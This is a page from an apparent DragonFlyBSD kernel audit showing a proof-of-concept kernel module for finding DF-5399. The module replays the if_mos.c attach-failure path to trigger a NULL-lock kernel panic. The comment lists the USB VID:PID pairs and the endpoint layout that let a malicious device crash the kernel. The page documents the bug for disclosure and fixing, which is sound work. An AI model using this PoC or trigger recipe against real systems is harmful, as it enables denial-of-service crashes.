⬢ DragonFlyBSD Kernel Audit
DF-5399 / mos_attach_poc.c
← back to finding ↓ download raw
/*
 * DF-5399 PoC harness - if_mos.c attach-failure DF-5334-class panic.
 *
 * Target: sys/bus/u4b/net/if_mos.c mos_attach() failure branch:
 *
 *   700:   error = usbd_transfer_setup(uaa->device, &iface_index,
 *   701:       sc->sc_xfer, mos_config, MOS_ENDPT_MAX,
 *   702:       sc, &sc->sc_lock);
 *   704:   if (error) {
 *   705:       device_printf(dev, "allocating USB transfers failed\n");
 *   706:       goto detach;
 *   707:   }
 *   ...
 *   730: detach:
 *   731:   mos_detach(dev);
 *   732:   return (ENXIO);
 *
 * mos_detach() (if_mos.c:756-767) then runs, in order:
 *
 *   762:   usbd_transfer_unsetup(sc->sc_xfer, MOS_ENDPT_MAX);
 *   763:   uether_ifdetach(ue);
 *
 * but at this point ue->ue_lock / ue_dev / ue_udev / ue_methods / ue_tq are
 * still ALL ZERO (they are assigned only at if_mos.c:708-712, AFTER the
 * failing usbd_transfer_setup()).  Before that call the only softc state
 * mos_attach() established is sc->mos_flags (:694) and
 * lockinit(&sc->sc_lock) (:697).  uether_ifdetach()
 * (sys/bus/u4b/net/usb_ethernet.c:267-305):
 *
 *   273:   usb_proc_drain(&ue->ue_tq);        [no-op, up_lock == NULL]
 *   276:   ifp = uether_getifp(ue);           [embedded arpcom ifnet, NEVER NULL]
 *   278:   if (ifp != NULL) {                 [dead guard, always true]
 *   281:       UE_LOCK(ue);                   [lockmgr(NULL, LK_EXCLUSIVE)]
 *                                          ==> Fatal trap 12, fault VA 0x0
 *
 * The trigger is fully device-controlled: any USB device presenting one of
 * the 4 VID:PID pairs in mos_devs[] (MosChip 0x9710:0x7730 / 0x9710:0x7830 /
 * 0x9710:0x7832, Sitecom LN-030 0x0df6:0x0021) at config index 0 / iface 0
 * but WITHOUT the bulk-in + bulk-out endpoints makes usbd_transfer_setup()
 * fail with USB_ERR_NO_ENDPOINT.
 *
 * This KLD replays mos_detach() verbatim on that exact post-failure state
 * using the production usbd_transfer_unsetup() and uether_ifdetach()
 * (exported by uether.ko).  The only non-production code is the static
 * mos_attach()/mos_detach() plumbing itself (they are static in if_mos.c,
 * unreachable without a physical MCS7730/7830/7832; the failure branch
 * reaches them through a plain goto).
 */

#include <sys/stdint.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/types.h>
#include <sys/systm.h>
#include <sys/socket.h>
#include <sys/kernel.h>
#include <sys/bus.h>
#include <sys/module.h>
#include <sys/lock.h>
#include <sys/condvar.h>
#include <sys/sysctl.h>
#include <sys/unistd.h>
#include <sys/callout.h>
#include <sys/malloc.h>
#include <sys/caps.h>

#include <net/if.h>
#include <net/if_var.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usb_process.h>

#include <bus/u4b/net/usb_ethernet.h>
#include <bus/u4b/net/if_mosreg.h>

static int
mos_poc_modevent(module_t mod, int type, void *arg)
{
	struct mos_softc *sc;

	switch (type) {
	case MOD_LOAD:
		kprintf("mos_poc: constructing post-'allocating USB transfers "
		    "failed' state (if_mos.c:694-707)\n");
		sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO);
		if (sc == NULL)
			return (ENOMEM);
		/* if_mos.c:697: the only softc lock initialisation before the
		 * failing usbd_transfer_setup() at if_mos.c:700 */
		lockinit(&sc->sc_lock, "mos_poc", 0, LK_CANRECURSE);
		kprintf("mos_poc: state check: ue_lock=%p ue_dev=%p "
		    "ue_udev=%p ue_tq.up_lock=%p (all must be 0/NULL)\n",
		    sc->sc_ue.ue_lock, (void *)sc->sc_ue.ue_dev,
		    sc->sc_ue.ue_udev, sc->sc_ue.ue_tq.up_lock);
		kprintf("mos_poc: entering mos_detach() replay: "
		    "usbd_transfer_unsetup() + uether_ifdetach() "
		    "(if_mos.c:762-763)\n");

		/* if_mos.c:762 - production code, zeroed xfer array == branch-1 */
		usbd_transfer_unsetup(sc->sc_xfer, MOS_ENDPT_MAX);

		/* if_mos.c:763 -> uether_ifdetach() -> UE_LOCK(ue) ->
		 * lockmgr(NULL, LK_EXCLUSIVE) -> Fatal trap 12, VA 0x0 */
		uether_ifdetach(&sc->sc_ue);

		kprintf("mos_poc: SURVIVED uether_ifdetach() (UNEXPECTED - "
		    "guard present?)\n");
		lockuninit(&sc->sc_lock);
		kfree(sc, M_TEMP);
		return (0);
	default:
		return (0);
	}
}

static moduledata_t mos_poc_mod = { "mos_poc", mos_poc_modevent, NULL };
DECLARE_MODULE(mos_poc, mos_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(mos_poc, uether, 1, 1, 1);